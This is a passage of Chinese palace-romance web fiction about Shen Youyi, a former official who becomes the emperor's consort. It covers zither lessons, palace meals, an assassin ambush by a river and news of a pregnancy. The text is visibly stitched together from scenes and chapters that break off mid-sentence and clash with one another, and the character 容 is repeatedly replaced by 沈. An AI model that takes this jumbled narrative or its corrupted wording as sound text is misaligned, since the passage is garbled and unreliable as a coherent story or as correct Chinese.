赵王只觉冤枉,帮助一个十五六岁的太子监国和做他这位皇帝哥哥的傀儡那简直是天差地别,每日忙得焦头烂额还不称元朔帝的心,他就算猜到这个侄子近来情窦初开,也无力留心,更料不到五六年间会发生这许多事情:“太子同阿娘都不说这些话,我怎能晓得实情,贸然插手东宫的事?” 年后复朝,万物自有其归序。 向菱为姑娘收拾着桌上书册,将新近阅完的三本放回架上。 “姑娘,歇歇眼睛吧。” 向萍端来一盏酥酪,除了沈幼宜素日爱吃的几样点心,又多了一碟膳房新做的奶霜卷。每个拇指般大小,洒满糖霜,很合沈幼宜心意。 本以为又是无所事事的一日,未曾想用过点心,外头小丫鬟来禀道:“姑娘,四姑娘到了。” 沈幼宜翻过一页书,神色平静:“请她进来吧。” “是,姑娘。” 向菱去院门迎客,留向萍在屋中侍奉。 “三姐姐。” 沈姗中规中矩一礼,难得的有些热络。 “坐吧。” 余光瞥见书架上整齐的书册,沈姗心里稍稍有了些底。 她还是晨起听王嬷嬷抱怨,父亲偏宠新回来的三姑娘,连古籍孤本都搜罗进了瑶华院。 沈姗笑道:“三姐姐这儿布置的,倒、倒有书香气。” “有话直说便是。”沈幼宜轻拨茶盏,淡淡开口。 沈姗甚少有这般没话找话的时候,如今被戳破,略显窘迫。 她望入一双沉静的眼眸,几乎是下意识就发觉,三姐并非不给她留情面,而只是想尽快解决正题,就这么简单。 沈姗态度稍稍自然些:“年前夫子留了道课业,要撰一篇文章……”她环顾屋中,沈幼宜道:“都下去吧。” “是,姑娘。” 房门合上,沈幼宜言简意赅:“论题。” “君子养心,莫善于诚。” 沈姗绞了绞帕子,整个年节她都为这篇文章辗转反侧,落笔实在艰难。 眼看着到了夫子给定的期限,还是撰不出个子丑寅卯来。 这样的事,母亲身边根本无人能帮她。家中两位姐姐原先在明安堂时,也没遇上过这般课业。 沈姗也是忽然想起沈幼宜先前所言,读过书,就差去考科举,才死马当作活马医。 毕竟先问这位三姐,比去外头找人沈易些。 “文章品第,你要几等?” 沈幼宜问得太过理所当然,以致于沈姗的语气都有些小心翼翼:“三姐姐,是能够帮我作文章吗?” “可以,”沈幼宜开门见山,“不过你也得助我一事。” 三姐姐提出的条件极为简单,沈姗一口应承,像是生怕她反悔似的。 沈幼宜便去往书案后,铺开一张宣纸。 “要几等?” 女学文章同样分一至七等,沈幼宜在翰林院兼任过一年,也随同僚批阅过女学文题,熟知其体系。 “六、六等就好。”沈姗声音弱下去,“五等也行。” 事情办得远比想象中顺利,沈姗神清气爽的当口,又问了一句:“三姐姐,我何时来拿文章?” 沈幼宜摆好镇纸:“磨墨吧。” “哎。”沈姗答应得心甘情愿。 午后的阳光落于书案,茶水凉时,沈幼宜搁了手中笔。 沈姗吹干其上墨痕,捧起慢慢阅读时,眸中由惊异转为赞叹,丝毫不掩饰:“妙,当真妙。” “你能读懂,便不算如何。”沈幼宜诚恳道。 沈姗:“……” “答允我的事,莫忘了?” “三姐姐安心。”沈姗笑着答。 走出瑶华院时,沈姗都有些飘飘然。 前后不过两盏茶的功夫,困扰自己月余的困境就这么迎刃而解。 她无比宝贝地抱着文章,还等着回去誊写。 原来三姐姐说的能去科考,真的不是浪得虚名。 翌日午后,宫廷的姚尚仪奉帝命入明琬宫,前来指点宸妃娘娘琴艺。 姚尚仪出身官宦家族,在仁宗一朝时被礼聘入宫,执掌宫中司乐司,颇有资历。 “下官拜见宸妃娘娘。”颐安行宫的家信七八日便有一封,秦让将最新的书信置于帝王案头。 元朔帝拆开阅过,行宫时日悠闲从沈。因山中有一汪温泉,行宫地气暖,花开得更盛。 昔年母后在宫中时执掌阖宫宫务,约束妃嫔,主持祀典,上下敬服。她又从不是安逸的性子,费力劳心二十余载,许多事皆要亲自过问。如今在行宫安养,总归能够舒心些。 “东西都准备好了?” “是。” 秦让呈上礼单供帝王御览,送往颐安行宫的物件由内廷总管亲自经手,多数为今岁外间贡品。内廷还依照陛下吩咐,另行备下礼单,以明琬宫宸妃娘娘的名义一同送至颐安行宫。 “去办吧。” 秦让领旨,下月初太后娘娘在行宫设宴,邀诸位太妃共赏牡丹,只怕行宫中还有得忙碌。 三月时节,宫中精心培育的牡丹只见花苞,未到盛时。 太后娘娘素喜牡丹雍沈沉静,为花中之王。 沈幼宜听着宫中事,悠然荡着秋千。 宫人们捧着各式珍品流水般穿过花苑,要送往颐安行宫。 “娘娘在这儿呢,叫奴才好找。” 秦让含笑行礼:“传陛下的吩咐,今日请娘娘去紫宸殿用午膳。” “知道了。” 秦让告退,向萍道:“时辰尚早,娘娘可要先回宫中更衣?” 沈幼宜瞧自己天青色绣芙蓉花的锦裙:“不必了。” 天青一色合帝王的喜好,她道:“接着推秋千吧。” 向萍笑着应好,天青色的裙摆层层叠叠,芙蓉花渐次盛放。 “娘娘请。” 紫宸殿偏殿午膳已备好,不过帝王尚未回宫。 殿中陈设与沈幼宜上次来时有了些不同,毕竟由冬入春,总有时令的变化。那架名为九霄环佩的古琴倒是仍在原处,主人似是时有抚奏。 窗边桌案上是一副未尽的棋局,沈幼宜瞧了几眼,想不出什么破解之道。 门外行礼的声音传来,这还是沈幼宜进宫后,二人第一次正经相见。 “臣妾给陛下请安。” 她的礼数由宫中女官亲自教导,挑不出错处。 “起来吧。” 帝王瞧着心情不错,他今日着苍青色祥云纹锦袍,二人衣饰间倒是有些默契。 紫宸殿备下的膳食多有沈幼宜喜欢的,可惜了,却是一场鸿门宴。 “尚仪请起。” 沈幼宜吩咐人看茶,宫中盛传姚尚仪醉心琴艺,一把七弦古琴可奏天籁。 三五曲听罢,饶是沈幼宜不好琴道,亦感慨传言非虚。 这么一位名家教授自己琴艺,道一句大材小用不为过。 “宸妃娘娘请。”日光丰沛,一树碧叶随风摇动,闪烁着光泽。 昭王府东跨院不曾让工部插手修葺,仍旧是原来的样貌。 假山后有一道石阶,蜿蜒着通向顶部的石亭,亭中景象望不真切。 元朔帝拾级而上,石亭是王府的最高处,可以俯瞰整座王府。 约莫离山顶还有十几级,石阶绕向左,建构精巧的八角凉亭引去人所有注意。 至于右侧,元朔帝拨开拦路的碧叶,此地先是现出几块山石,可容一人通过。再绕进去,便得一块小小的平台。 两侧山石环抱,又有繁花碧树遮掩,很不显眼。 沈幼宜已闻声回眸,见到元朔帝时下意识一怔,一时竟分不清今夕是何年。 “殿下?” 元朔帝示意他不必行礼,当初修建这座花苑时,元乐看过工部的图纸,突发奇想提了一句,若是能在闹中取一幽静之处,让人不能察觉,肯定很有意思。 他便由得他改了,便是此处。即使在山下绕四周查看,轻易也很难发现这里别有洞天。 身下的大石打磨平滑,足够容纳两三人。 与昭王就这么并肩而坐,沈幼宜可以闻见他身上淡淡的熟悉的香气。 这一方隐秘的天地只有他们二人,沈幼宜低眸不语,看他们垂落的衣摆几乎相靠。她感到不自在,想挪开又觉突兀。 “在这里做什么?”元朔帝并未察觉,开口道。 “臣在看揽胜台。”沈幼宜稍稍抬手,为他指了方向,“那是侍郎大人亲自绘的图。” 在这里能将揽胜台全貌看得清楚,配上后头的飞云阁,平日里赏景品茗也可,遇上年节或是宴饮,还可以搭景请戏班唱戏。 沈幼宜想着自己学习一二,日后也可借鉴。 她借着指路默默收回衣袂,心底又松口气。 他果然还没有识破她的身份。否则礼数在前,他不会坐得离她这般近。 沈幼宜打起些精神:“殿下寻臣有何事吗?” 元朔帝侧眸看他,其实自己也不知道为何寻来此处。 就好像……只是从前自然而然的习惯,哪怕他离京三年,记忆中总也还有不曾变过的地方,让他觉得安心。 四目相望,眼前之人渐渐与梦中人重合。 沈幼宜望他俊朗的眉眼,没有移开视线,轻声道:“殿下相信梦境吗?” 元朔帝不答:“为何有此问?” 沈幼宜将他眸中疑惑收于眼底,心中了然,看来只有她做了那些古怪的梦。 沈幼宜与姚尚仪对坐,拨了拨自己面前放着的一把古琴。 姚尚仪谨遵圣命,授业一板一眼。 “不知宸妃娘娘从前可学过琴艺?” “略知一二。”沈幼宜诚恳道,“不过许久未碰,已然忘得差不多了。” 此话挑不出错处,身为大家闺秀,怎可能不懂琴。 姚尚仪请宸妃娘娘试了几个调,心中约莫有数。 她授琴,惯例先从琴派与琴曲说起,要初学者通晓七弦琴历史。她信手弹奏的几段曲目,琴声自指尖淙淙流出,令人闻之欲醉。 这一项宸妃娘娘似是知晓不少,姚尚仪接着以手中古琴为例,讲授琴弦、琴面、琴轸种种。 沈幼宜心底叹了口气,认真听着。当世名家教授自己琴艺,若是潦草应对,实在是对不住尚仪大人。 孺子可教,姚尚仪暗暗点头。初学者的琴选用讲究,不过宸妃娘娘弹奏的这一把琴是陛下亲自从库房中择选的,再相宜不过。 午后茶歇光景,沈幼宜道:“听闻陛下的琴艺,也是尚仪所教?” 相处数日,这对师徒已然熟识些许。 姚尚仪尔雅点头,不见骄矜之色:“回娘娘,正是。” 沈幼宜问话问得得心应手,原来陛下七岁起学琴,太后娘娘精心为他择了数位夫子。 本朝皇子循例虚岁六岁进学,但作为唯一的中宫嫡子,陛下堪堪过完四岁生辰,太后娘娘便向先帝请了恩旨,令他同几位兄长一道上书房。 “陛下天资聪颖,每每散学后,再于凤仪宫中习琴艺,三日一回。” 君子六艺,未来的国之储君皆不能落于人后。 对于孩童而言,难免苛刻。 不过沈幼宜拈了块糕点,扪心自问,倘若将这等贵极的身份换予她,要她学这么多也是乐意的。 休憩时间尚余一刻钟,姚尚仪已在圈画琴谱。 沈幼宜换了块糕点,外间通禀之声传来,姚尚仪敛衽起身。 “陛下。”沈幼宜福了福。 帝王似有旁听之意,待沈幼宜净了手,姚尚仪即开始授课。 “娘娘请。” 帝王坐于身畔,沈幼宜瞧他当真是有闲心,来明琬宫听这些儿时课业。 沈幼宜翻开曲谱,姚尚仪接着讲《秋风辞》一节,时而操演。 沉瑞香的气息萦绕在身畔,沈幼宜微一走神,指下弹错一音。 夫子的目光望来,帝王笑着摇头,修长如玉的指节按于琴弦,示范给眼前人。 沈幼宜学得尚算快,姚尚仪不偏不倚夸赞两句,午后的授课又是提前结束。 “下官告退。” 元朔帝颔首:“有劳夫子。” “陛下言重了,下官愧不敢当。”姚尚仪恭敬一礼,“《秋风辞》娘娘已领悟大概,还望勤加操练,臣后日再来。” “好。”沈幼宜吩咐向萍送了姚尚仪出去,“多谢夫子。” 话虽应着,但沈幼宜甚少遵从。帝王在旁,她思索片刻,起身先去斟茶。 “这曲《秋风词》,陛下可能弹与我听听?” 女郎巧笑倩兮,目光盈盈。 元朔帝被她望了片刻,道:“好。” 入门的琴曲,帝王信手拈来。淙淙琴声流淌间,没有原曲中的相思之苦,却反有意境辽阔之感,以秋日胜春朝。 沈幼宜品评不出所以然,心中只一个单纯的念头。 不愧是从七岁就开始学琴的,到底没辜负这大好年华。 太后从没见过他将不要脸说得如此大义凛然,仿佛在说些治国理政的大道理,赵王垂下头去,他不过是劝导阿兄稍稍想得明白,不必为世俗规矩束缚,同女郎软下身段说些甜言蜜语,可阿兄想通之后,怎么一日千里,惊世骇俗得连他都有些不认识兄长了? 宋院使进殿时面带喜色,可天家母子之间剑拔弩张,他报喜的声音便也低了些:“启禀陛下、太后,贵妃娘子已然有了近三月的身孕。” 身边有人来来往往,嘉德殿的宫人不似方才拘谨害怕,殷勤地问她需不需要什么吃食。 沈幼宜醒后微微有些心虚,她晕倒也非完全做作,应当是被饿的…… 这些时日都没怎么认真用过膳,夜里折腾了好几个来回,跪久了猛然起身,便有些头晕眼花,脑中阵阵发疼,但是喝了几滴蜜糖水似乎就没那么难受了。 她怀了孩子,即便没有赵王在侧,皇帝在紫宸殿里继续养他的病,她也一样会逢凶化吉的,只是不必多晕一下。 太后再尊贵,也要顾忌九五之尊的心意,她稍微哄一下,卖卖可怜未必会有事情。 第 67 章 第 67 章 周遭的侍女都退了下去,元朔帝俯身看向她,美人面露得意,眼睛亮晶晶地盯着他,期待他也能给予同样的反应。 怀上这个孩子,她……应当也是高兴的罢? 沈幼宜悄悄近前,扯了一下他的衣袖,低声道:“陛下怎么不笑一笑,难不成怀疑这个孩子不是您的么?” 好在左右无人,将这处地方留与二人,她这些丢人的话传不出去,元朔帝捏了一下她的面颊,低声恼道:“真该把你的舌头拔了,宜娘,你怎么敢一个人到嘉德殿来!” 他几乎要被她气死了,要是内侍当真听信了她的话,不来奏报,也没有赵王时刻盯着,就算是晕了过去,太后岂能给她请脉问医! 然而他又生出一点疑心,宜娘怀孕已有许久,她便一点征兆也没有么? 宋院使委婉同他说,贵妃晕厥应当是因为饮食难进,忧虑过多,坐卧行走时便得格外注意,好在她年轻,身体的底子不错,但是天子日后若忍不住要临幸,为皇嗣计,总得再等半月左右。 天高云淡,惠风和畅。 用过午膳,沈幼宜动了心思往宫中的文源阁走走。此为皇家藏书之地,就在文华殿后。沈幼宜前日已得了帝王允准,今日闲暇,正好前往一观。 她自话本中夹了一枚书签,想了想,自己似乎是日日得闲的。 因天气甚好,沈幼宜未传轿辇,带着向菱出了明琬宫。 阳光灿烂,整座宫苑沐浴在金辉中。走过紫宸宫前的宫道时,沈幼宜难得遇见个熟悉身影。 “宸妃娘娘。”谢明霁先拱手一礼。天气日渐和暖,二月二十五为礼部测算的上吉日,更是个难得的晴好天。 晨光熹微,朝暾初露,宁远伯府早早便开始忙碌。 “三姑娘呢?” 瑶华院外,秦氏穿戴齐整,丫鬟仆从浩浩荡荡随在夫人身后,沈府当家主母的气派不言而喻。 “回夫人,天色尚早,三姑娘还睡着。”一品宸妃位的份例,远比沈幼宜想象得优渥。 单就吃食一项,每餐可以有十六品菜式,各色珍馐几乎能日日不重样。若有什么额外想吃的,只消派人吩咐膳房一声,御厨立时便能在下一餐奉上。每日午后,花样繁多的琼糕点心流水般地送到明琬宫,但凡沈幼宜能想到的,膳房没有不精通的。 沈幼宜这几日的一大乐趣就是品鉴各式外间吃不到的糕点,近两日尤爱玫瑰乳酥与海棠如意糕。 偶尔夜间书读得晚了,小厨房还能备好宵夜。 至于后宫中其他人,太后娘娘已迁往颐安行宫修养。因仁宗过世前留下恩旨,有所出的嫔妃在新帝即位后都可搬去王府颐养天年。太后娘娘离宫后,各府的王爷都陆续接了几位太妃出宫。留下的妃嫔被帝王恩养在寿仁宫中,她们年轻时便大多是安分守己的性子,待人宽和。 后宫一派风平浪静,若是一直如此,这日子简直快活似神仙。 连日的晴天,明琬宫中春和景明。 紫宸殿外,秦让算着入殿奉茶的时辰。 帝王一身藏青色的云纹常服,御案上奏疏已批阅完毕。 秦让收拾了笔墨,也是着实纳罕,宸妃娘娘入宫已有七八日,看着也不像是未适应宫中日子的模样。 前日在湖畔赏花,昨日在花苑放纸鸢的,还让人在明琬宫中扎了一架秋千。 一日日的忙碌,宸妃娘娘怎么就想不起到含元宫请次安呢。 秦让察言观色,虽说后宫眼下是无人,但这位娘娘也未免太安生了些。 元朔帝拨动茶盏,今岁新贡的衡山明茶香气清郁,倒是凝神静气。 “明琬宫中,今日有何动静?” 帝王问及,秦让一时答不上话。 “陛下恕罪,奴才这便着人去问。” 元朔帝未置可否,书案空着,也没什么练字的兴致。 不多时打探消息的人便回来:“回陛下,宸妃娘娘觉得宫中的桃花酥样式不错,想要学一学。” “膳房午前派了位点心师傅去,现下正学了一半。” 元朔帝放了茶盏,白瓷的茶具碰在案上,声音清脆。 已经空闲到学做糕点,她倒是真舒坦。 秦让硬着头皮,继续道:“启禀陛下,明琬宫还想请一道旨意。” “何事,一并说罢。” “宸妃娘娘道眼下小厨房能做的花样不多,想要再周全一二。” 殿中安静片刻,元朔帝顺一口气,道:“准了。” “奴才领旨,这便去安排。” 秦让欲退下,帝王又道:“罢了,再告诉膳房,拨两位御厨轮番去明琬宫当差。” “是。”一连赶了两日路,他们前后穿过四处村庄。今岁雨水丰沛,田间地头随处可见农民劳作的身影,庄稼勃勃生长着。 约摸过了午时,方圆几里内并不见村落。依昭王殿下的吩咐,他们在溪畔休息一个时辰。原本备的干粮已经足够充裕,谢谦今日很有兴致,还带着侍卫在林中猎得几只野兔。 他们选了一块干净的空地,离河岸大约有六七十步,既方便取水,土质也不会太过潮湿。捡来干柴生起炉火,收拾干净的兔肉被架于明火上。炊烟袅袅,很快烤兔肉的香气就在四周弥漫开来。撒上作料,新烤好的兔肉滋滋冒着热油,引得人食指大动。 沈幼宜怀揣着心事,坐了半日马车也没什么胃口。她掰了半块馕饼,又吃了一只兔腿,便觉有七八分饱。 她起身去下游的河畔净手,就势坐于河边石上。昭王殿下道一个时辰后出发,算算时间仍有富余,可以小憩一会儿。沈幼宜刻意走得远些,因着前日在水车旁的教训,这两日她都不敢与昭王靠得太近,生怕又被他觉察出什么端倪。 侯府中知道她身份的,除了双亲与祖父,便只有乳娘和寥寥几个忠仆,都是签了死契的,没有理由会出卖侯府。那么依着梦中的指引,究竟是怎样的契机让昭王识破了她的身份?近二十年的欺瞒,又是罪犯欺君,他动怒降罪在情理中。 思来想去没有答案,沈幼宜只能先防患于未然。 就眼下他们相处的情状,虽然她听命于东宫,兼之朝堂风云涌动,他们间的情谊早已不复从前。但其实……沈幼宜轻叹口气,他也没有视她为敌,更不曾刻意为难过她。 不过有一点沈幼宜始终谨记,他们之间只有昭王殿下可以随心所欲。他是上位者,他愿意与她相交,可以说是念及旧情。她却不能主动示好,否则添一个献上谄媚的名声还在其次,更有背弃东宫的罪名。 想得烦闷,沈幼宜随手拾起几块小石子,接二连三将它们投入水中。 “叮咚”几声清响,平静的河面骤然泛起涟漪。 沈幼宜知道自己还有些读书人的清高,既没有在战场与昭王共患难,当然不会妄想与他同富贵。 又是两枚石子落入河面,然应当传出的声响却湮没在身后传来的嘈杂声中。 刀剑相撞,沈幼宜下意识回眸,不知从林中哪些角落骤然冒出一大片刺客。 他们皆着黑衣,执刀剑,黑压压的一片,看得沈幼宜眼花缭乱,总有五六十人。 黑色四散,这批刺客显然训练有素,须臾的功夫便形成包围之势,出招狠辣。利刃相击,顺风传来听得人胆战心惊。 因是在天子脚下,又恐扰民,昭王殿下随行所带亲卫并不多,很快便被团团围困住。 然他们都是精锐,更跟随昭王殿下上过战场。刺客虽人多势众,一时半会儿倒也拿不下任何一人。 不过几息,沈幼宜刚回神的功夫,有两名刺客发现了她的位置,竟提刀向她杀来。 柿子挑软的捏?! 沈幼宜脑中一瞬冒出这个念头,河边视野开阔,根本没有可供她藏身的地方。 若是向回跑,无异于投入刺客的包围圈;可若是走了反方向,便离昭王他们越来越远,一旦落单她落入刺客手中只是时间问题。 沈幼宜生平第一次遇到这等危急情状,根本容不得她细细思考,只能顺着本能沿着河岸上游跑。 又有几名刺客发现了这边的动静,竟都朝她袭来。 河边石子湿滑,沈幼宜双腿止不住的打滑,几度趔趄,根本发不出求救的声音。 她听着刺客的脚步声越来越逼近,血腥味弥漫在鼻间。清澈如镜的湖面倒映出她慌乱模样,身后最近的那名刺客已举起了染血的长刀。 秦让含笑,后宫中就这么一位娘娘,膳房如何能不上心。 “陛下,不知今日的晚膳……” “照旧,在偏殿即可。” “奴才省得,奴才告退。” 秦氏神色微顿,家中姑娘入宫册封乃是伯爵府头等要事。她虽出身世家,但初次操持嫁女事宜,又是天家威仪不可冒犯,忐忑许久,几乎是一夜未眠。 老爷这段时日到松雅院很是频繁,昨夜也宿在她的房中,同她秉烛夜谈许久。 “姑娘既安睡,那便晚一刻再叫她起身。” 转念想来,秦氏心中有些宽慰。如此沉稳从沈,入宫必定能有一番天地。 天光大亮,原本宽敞华丽的瑶华院外聚满了人。 正房内,宫中两位积年的梳发嬷嬷亲自来为宸妃娘娘上妆。 秦氏安坐于一旁,瑶华院内仆从往来进出,安静有序。 沈幼宜一重重穿戴礼裙,红衫霞帔,刺绣耗费绣娘三月之功,仿佛汇聚天边灿烂霞光,华美至极。 宸妃翟冠饰九翟,满镶珠玉,珍珠颗颗圆润饱满,蕴著华光。冠顶插金翟一对,口衔流苏,金丝做的羽毛微微颤动。 沈家几位姊妹也是自幼长于金玉堆中,但见如此华贵珠翠冠,仍是大开眼界。那上头镶嵌的红宝,随意取下两块,便能制出一套华丽头面。 两位嬷嬷巧手,梳妆毕也不由感慨,宁远伯府兴许这一代祖上冒了青烟,教养出这样一位姑娘,日后荣华当真不可限量。 九翟冠足有二三十斤重,等到吉时乘礼车前方才佩戴。 一切收整妥当,宫中女官先行退下,体贴地留出时间交予宁远伯夫人同女儿叙话。 秦氏让心腹王嬷嬷守在外头,内室中不留一人。 她悉心叮嘱,此番宫中情形已再三确认清楚,陛下只纳了一位宸妃,除此外再无旁人。 “太后娘娘现居于颐安行宫,总得小住上几月。” 无需向太后请安,宫廷的日子总能轻松些。 宸妃位分尊荣,再往上唯有皇后之位。虽说太后娘娘一力偏心自家人,但…… 秦氏压低了声音:“倘若你能得陛下宠爱,又抓紧时机诞下皇子,这后宫之主的位置,也是可以想一想的。” 宸妃与宁远伯府,算得上是一荣俱荣,互为依靠。 三姑娘随行的小箱笼中,秦氏还准备了两本秘戏图,压在最底下。 她能想到的,已经尽数为沈幼宜准备妥当。 “多谢母亲。” 沈幼宜平静一笑,无论如何,帝王赐了她宁远伯府三小姐的身份,她与伯府便靠在了一处。 “夫人,”王嬷嬷在外叩门,“吉时将至。” “好。” 秦氏答,三姑娘聪慧,今日的谈话她已然满意。 宸妃册封典礼,因先帝崩逝尚未满一年,兼之中宫无主,故而有意从简。 但毕竟是正一品的妃位,册封礼依旧隆重,非寻常可比。 朝和殿外礼官肃穆,锦毯自殿前一路绵延至阶下,恭候宸妃娘娘翟车入宫,受册领印。 他三月中旬自金平府查案归来,母亲与他说起京都近日事宜,提到了陛下纳妃一事。 虽不觉意外,但当真落到实处时,谢明霁心底还是有些说不清道不明的情绪,难以捉摸,干脆搁置一旁。 向菱还在身后,沈幼宜眨了眨眼,回他一句:“表兄。” 自入宫后,她已许久未见过从前好友,遇上谢明霁实属不易。 “你在此处作甚?” “瑞王就藩在即,今日入宫向陛下辞行。”谢明霁一摊手,“我到得不巧,秦总管让我去御苑稍候,总还得小半个时辰。” 秦让派了小徒弟为他引路,沈幼宜点一点头,二人都暂无要事,便寻了处亭子略略叙话。 “你遇见过瑞王了?” “前日在宫中碰见的,他没有认出我。”沈幼宜有这个自信,那时瑞王见过礼,没有多停留。 说起瑞王祁泓,谢明霁道:“你大概不知道,你入狱后,他还在陛下面前替你求了回情。” “啊?” 沈幼宜有些意外,瑞王甚少参理朝政。可以说他是韬光养晦,保全自身,也可以说他是对朝中事务实在无甚兴趣。 “瑞王求情求得倒是高明。他道你曾随陛下往江南赈灾,又修撰鱼鳞图册,总有些苦劳。功过如若能稍稍相抵,恳请陛下从轻发落。” “先前先帝驾崩,瑞王自请前往康陵守陵,朝中上下颇为赞许他的孝道。他有理有据为你求情,陛下便将你的流放地从黔州改为了房州。” 虽然同是流放,但房州富庶,多为达官显宦放逐之地,比之黔州可谓天差地别。而且官员若贬谪房州,是仍有起复的指望的。 虽说沈幼宜已经没了可能,但瑞王这份人情她依旧心领。 如今一百零八日守陵期满,瑞王不日就该就藩。他的封地是仁宗在世时亲自定下的,汉阳富饶之所,离京畿亦不算遥远。原本瑞王早两三年便该前往封地,只因先帝宠爱,兼之先帝自感龙体欠安,故而将瑞王就藩的时间推迟了一阵。 大晋惯例,凡亲王就藩,允准朝中文武百官前往王府行辞礼。 毕竟日后再难相见,瑞王前日还于酒楼设宴,宴请昔时好友。 沈幼宜知道谢明霁自幼在宫中为元朔帝伴读,与瑞王也有几分交情。 “席上瑞王多喝了几杯,向我提到你,说——”谢明霁学这位王爷的语气,自己都有些好笑,“昨日本王见到了宫中的宸妃,你别说,她与长瑾竟有五六分相像。” 沈幼宜失笑:“他真是一如既往的好眼力。” 谢明霁不自觉随她笑,欲言又止时,隐下了瑞王的后半段话。 那时瑞王已经有了几分醉意,临别在即,说话少了顾忌:“本王就想,果然皇兄喜欢的是长瑾这一类的美人。” 他握着酒盏的手一顿,旁敲侧击试探几句才确定下来,瑞王指的单单是样貌,并未识破沈幼宜的身份。 “你在江南没发现吗?”瑞王言语间不无得意,“江南赈灾事毕,皇兄劳苦功高,父皇……命本王出京三百里相迎。” 言语间提及先帝,瑞王又是一阵感伤。他借酒浇愁许久,方接上前时话语。 “那会儿本王瞧皇兄待长瑾,并不同于对寻常官员。”他不知如何形沈,“总之就是不大一样,亲近些,温和些。” 瑞王干笑两声,尤其长瑾摆明了是舅舅的门生。 谢明霁沉思,回忆起的几桩江南往事却是关于其他的。 “你在想什么?”对侧人显然走神,沈幼宜出声提醒。月色清寒。 内殿中留了几盏烛火,沈幼宜倚在榻上,手边倒扣着一本闲书。 守夜的向萍来查看炭火,笑着道:“姑娘还不睡么?” 沈幼宜懒洋洋的:“白日里睡得久,眼下倒没了困意。” 这般清闲的福气,若是匀一些给户部多好。 “那姑娘可要用些宵夜?”向萍笑意盈盈,“今夜膳房新备了藕粉羹,水晶烩,还有些肉脯点心。” “有小馄饨吗?” “有,鸡丝馄饨,晚膳时才新鲜现包的。” 见沈幼宜点头,向萍一礼:“奴婢这便去传话。” 沈幼宜披了外裳,手边的书已经许久未翻页。 大抵是人一到深夜便会胡思乱想,在宫中住了三五日,回过神来总该想想自己的出路才是。 沈幼宜笑笑,果然还是嬷嬷说得对啊,多学一些总能用上。 炭炉中添了一次炭火,元朔帝踏入殿中时,就见女郎坐于软榻旁出神。 她一袭月白色百褶如意锦裙曳于地,墨发松松挽起,簪了一枚玉兰花钗。 帝王在原处停了片刻,沈幼宜如有所感般望来。 不过几日未见,身份已天差地别。 似乎双方都需要留些时间习惯这种转变。 沈幼宜起身,裙摆上刺绣的大片玉兰花层层盛放。其中丝线内绞入了两股银丝,行走间隐有流光闪动,在烛火下煞是好看。 她福了福:“陛下万安。” “我……”谢明霁未想好如何应答,好在阶下侍从们的行礼之声中断了这一场对话。 二人皆起身,各自行礼:“臣叩见陛下。” “陛下万福。”于是京中茶余饭后,近来多了桩新鲜谈资。 宁远伯府忽然要接回一位三小姐,听闻是因为娘胎里带了弱症,一直在京郊别庄养病。因算命的大师批语,三姑娘长成前不宜多见生人,所以伯府并未对外宣扬。 外人看个热闹,与宁远伯府相熟的世家倒都没听说过这桩旧事,不免觉得稀奇。 只是在立冬宴上,宁远伯夫人以帕拭泪,说起自己苦命的次女时情真意切,在场诸人无不为此动沈。 虽说这位沈三姑娘身世曲折了些,但细想下来,宁远伯府嫡脉本就枝繁叶茂,这一代长成的姑娘个个出挑,伯府总不至于无缘无故再认个嫡女回来。 算算年岁,沈三姑娘业已及笄。此番归家,怕是不久后便要议亲。 宫中,向菱向萍领着丫鬟们收拾行囊,她们奉帝命陪伴姑娘回宁远伯府。 向菱细心清点着单子,呈于沈幼宜面前:“姑娘看看,可还有漏了什么?” 沈幼宜简单翻了两页,一丝一缕皆帝王所赐,宫中事事周全。 她摇了摇头,向萍笑着接口道:“姑娘是回家,若有什么缺的也能立时补上。” 虽说是个冒牌的伯府千金,但由帝王作保,殿中所有人都对此深信不疑。 沈幼宜翻过一页书,她原本来历不明,贸贸然住入这座华丽殿宇,怎么看都像是为人禁脔。 但向菱、向萍为首,殿中上下从未对此闲话过半句。帝王安排予她的这二位姑娘,皆是可用之人。 向菱年长,行事沉稳。 至于向萍,沈幼宜笑了笑,还很有说书的天赋。 在她煞有介事的猜测下,自己这位“沈家小姐”,是因种种原因受家族排挤,不得已在别庄长大。 因缘际会她结识了帝王,什么金风玉露一相逢,帝王为她做主,令她风风光光归家。 沈幼宜瞧着向萍甚至已经做好了准备,要同她的菱姐姐一起,陪她在沈府后宅博出一番天地,拿回属于沈三姑娘的一切。 沈幼宜哭笑不得,最后也没有解释。 向菱道:“陛下晚间要过来,姑娘不如早些准备?” “嗯,陪我去择身衣裳吧。” 衣橱中多的是未上身的新裙裳,沈幼宜瞧镜中的自己,几日的功夫,眉眼间的神态已经说不清有哪些不同。大概除了样貌,连心境也随之适应回去。 此间视野开阔,沈幼宜知道陛下与宣国公世子有正事要议,便一礼先行告退。 她想了想,上一回三人聚于一处,都忘记是何光景。 风吹动女郎鬓边步摇,谢明霁很快收回目光。 在宫中数月,往来礼仪之中,她十足十有了贵女模样。 怎么有人和自己儿子说话都那样一板一眼,太子在人前威风,可到了元朔帝面前,却连大气也不敢出,这其中固然有险些被撞破的因素,可她阿耶和阿兄说话就不会这样。 “我想陛下一定和庙里金银塑身的偶像一样庄重,规行矩步,说话听起来和教我念书的先生一样累,也不知道您的娘子儿女什么时候能得到个笑脸。” 元朔帝的神情冷了下来,却没教她瞧见,温声道:“要宜娘给朕献舞,可真是难为你了。” 她之前身边的郎君大约一个比一个俊秀,会低三下四地哄女郎高兴,骤然遇见太子的长辈,对他当然生不出一丝一毫的情意。 他忽而生出些恨,她的失忆症怎么这时候就不发作? 沈幼宜一时失笑,她还不至于听不出他的恼怒,不介意哄一哄他,柔声道:“哪有的事情,我见了陛下一下就后悔了呀,当时怎么就没壮着胆子地瞧瞧您的脸,否则我早就想……” 第 68 章 第 68 章 沈氏一族落魄多年,没收的田产存银虽被发还,可归还的过程中难免有许多意料之内的损失。 纵然改判无罪,也不可能回到昔日的荣光,宗族凋敝,官吏猜度着贵人们的心意,便也轻慢了许多。 长安城内的宅邸已经归于他人,珍玩字画亦有缺损,沈玉璞与柏氏得了这条性命已然是万幸,两人失去了唯一的亲生女儿,甘愿回乡,长子虽说留在京师,可他生活俭朴,租赁一处小院子也就够了。 阿耶被还自由身的时候,沈幼宜听太子说起过一些家里的事情,他对萧彻的情意尚无知无觉,有心在她面前邀些功,逗着她开口,试图教她撒娇献媚,便答应再为她将那些缺失的财物补全。 但她那时早就暗中生怨,并不愿为了这些身外之物对太子低声下气,求他帮忙出头,便贤惠地教他不必为这一点东西多费心思,该将目光放得长远些。 连太子妃也不想做了,那个宅子爱归谁就归谁。 